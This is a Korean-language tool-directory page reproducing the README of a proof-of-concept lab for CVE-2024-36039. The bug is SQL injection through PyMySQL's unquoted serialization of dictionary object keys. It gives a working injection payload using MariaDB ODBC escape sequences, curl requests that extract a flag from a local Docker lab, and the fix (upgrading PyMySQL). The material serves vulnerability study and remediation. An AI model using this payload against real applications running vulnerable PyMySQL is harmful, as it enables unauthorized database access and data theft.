Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-36039_PoC — CVE-2024-36039에 대한 PoC: PyMySQL 객체-문자열 직렬화 결함을 통한 SQL 인젝션 시연 | Kitploit
도구/GitHubGitHub/zenniskayy2k4/cve-2024-36039_poc
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationDatabase SecurityLabs & Practice
GitHubzenniskayy2k4/cve-2024-36039_poc

CVE-2024-36039_PoC

CVE-2024-36039에 대한 PoC: PyMySQL 객체-문자열 직렬화 결함을 통한 SQL 인젝션 시연

저장소 보기
135개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-36039: PyMySQL 객체 주입을 통한 SQL 인젝션 PoC

Docker Python MariaDB Vulnerability CVE

CVE-2024-36039에 대한 완전하고 재현 가능한 개념 증명(PoC) 실습 환경입니다. PyMySQL(버전 <= 1.1.0)의 객체 주입 취약점이 MariaDB의 ODBC 이스케이프 시퀀스를 통해 완전한 SQL 인젝션으로 이어질 수 있음을 보여줍니다.


⚠️ 법적 및 윤리적 고지 (윤리적 용도만 허용)

  • 이 저장소는 학술 및 연구 목적으로만 제공됩니다.
  • 제공된 코드와 기술은 소유하고 있거나 명시적인 서면 승인을 받은 시스템 외에는 간섭하는 데 사용해서는 안 됩니다.
  • 저자/기여자는 이 정보의 오용으로 인해 발생하는 모든 결과나 손해에 대해 책임을 지지 않습니다.
  • 이 저장소를 사용함으로써 귀하는 본 이용 약관을 준수하는 데 동의합니다.

📖 1. 취약점 개요

CVE-2024-36039는 순수 Python MySQL 클라이언트 라이브러리인 PyMySQL의 취약점입니다.

매개변수화된 쿼리(예: execute("SELECT * FROM table WHERE data = %s", (my_dict,)))가 키가 일반 문자열이 아닌 사용자 정의 객체인 Python 딕셔너리를 받으면, PyMySQL은 객체의 __str__ 또는 __repr__ 메서드를 사용하여 SQL 문자열로 직렬화합니다.

버그: PyMySQL은 객체 키의 결과 문자열을 이스케이프 처리(작은따옴표로 감싸는 것)하는 것을 잊습니다. 이로 인해 따옴표가 없는 원시 문자열이 딕셔너리 형식 {따옴표없는객체문자열: '이스케이프된값'}으로 SQL 문에 직접 주입됩니다.


🔬 2. 기술적 심층 분석: MariaDB ODBC 트릭

그 자체로는 {따옴표없는키: '값'}을 MariaDB 쿼리에 주입하면 1064 구문 오류가 발생합니다. {}는 표준 SQL 데이터 구문이 아니기 때문입니다.

그러나 MariaDB/MySQL은 중괄호 {}를 사용하는 ODBC 이스케이프 시퀀스를 지원합니다. 구문 오류를 우회하려면 { 바로 다음에 오는 문자열이 유효한 ODBC 키워드(예: d, t, ts, fn)여야 합니다.

익스플로잇 체인:

  1. 객체 키 (주입 지점): __repr__ 메서드가 fn/*을 반환하는 사용자 정의 객체를 제작합니다.
  2. 값 (페이로드): 딕셔너리 값을 */ 1} UNION SELECT 1, flag, 3 FROM secret -- 으로 설정합니다.
  3. PyMySQL 직렬화: PyMySQL은 키에 따옴표를 붙이지 않고 이 딕셔너리를 SQL 쿼리로 포맷합니다:
    root@kitploit:~
    SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
    
  4. MariaDB 구문 분석 마법:
    • {fn : MariaDB가 ODBC 스칼라 함수의 시작을 인식합니다.
    • /*: "'*/ : MariaDB는 이를 블록 주석으로 처리합니다. PyMySQL이 생성한 콜론 :과 여는 따옴표 '는 완전히 무시됩니다!
    • 1} : ODBC 함수를 완성합니다(사실상 정수 1을 반환).
    • UNION SELECT 1, flag, 3 FROM secret : 주입된 SQL 페이로드가 실행됩니다.
    • -- '"} : SQL 주석이 나머지 후행 쓰레기('})를 무시합니다.

결과: 애플리케이션 로직과 PyMySQL의 매개변수화를 모두 우회하는 완벽한 SQL 인젝션!


🛠️ 3. 실습 환경 설정 지침

사전 요구 사항

  • Docker
  • Docker Compose

설치

이 저장소를 클론하고 환경을 실행하세요:

root@kitploit:~
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build

(MariaDB 컨테이너가 완전히 초기화될 때까지 약 15-20초 기다리세요).


🎯 4. 익스플로잇 단계

1단계: 일반 요청

표준 JSON 요청을 보냅니다. 백엔드가 JSON 키를 CustomKey 객체로 변환합니다.

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"yamato": "Any_value"}'

응답: {yamato: "'Any_value'"}가 유효하지 않은 SQL이라는 SQL 구문 오류가 발생하며, 이로써 주입 지점이 확인됩니다.

2단계: 익스플로잇 (플래그 추출)

ODBC 이스케이프 시퀀스 페이로드를 주입하여 구문 오류를 우회하고 secret 테이블에서 숨겨진 플래그를 추출합니다.

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'

응답 (PWNED!):

root@kitploit:~
{
  "data":[
    {
      "device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
      "id": 1,
      "log_data": "3"
    }
  ],
  "status": "success"
}

🛡️ 5. 수정 방법

이 취약점을 해결하려면 PyMySQL을 1.1.1 이상 버전으로 업그레이드하세요.

패치된 버전에서는 개발자가 모든 딕셔너리 키(유형에 관계없이)가 SQL 문에 삽입되기 전에 적절히 이스케이프 및 인용되도록 보장합니다.

root@kitploit:~
pip install --upgrade PyMySQL

📚 6. 크레딧 및 참고 자료

  • CVE-2024-36039 권고: NVD - CVE-2024-36039
  • PyMySQL 보안 패치: PyMySQL GitHub 릴리스 v1.1.1
  • MariaDB ODBC 이스케이프 시퀀스: MariaDB 문서.
  • 영감: 이 실습 환경은 객체-문자열 직렬화 결함을 포함한 현대 웹 익스플로잇 기술을 기반으로 모델링되었습니다.

면책 조항: 이 저장소는 교육 및 연구 목적으로만 생성되었습니다. 소유하고 있거나 명시적 테스트 허가를 받지 않은 시스템에 대해 이러한 기술을 사용하지 마십시오.

© 2026 by zenniskayy. 더 안전한 인터넷을 위해 구축되었습니다.

도구 다운로드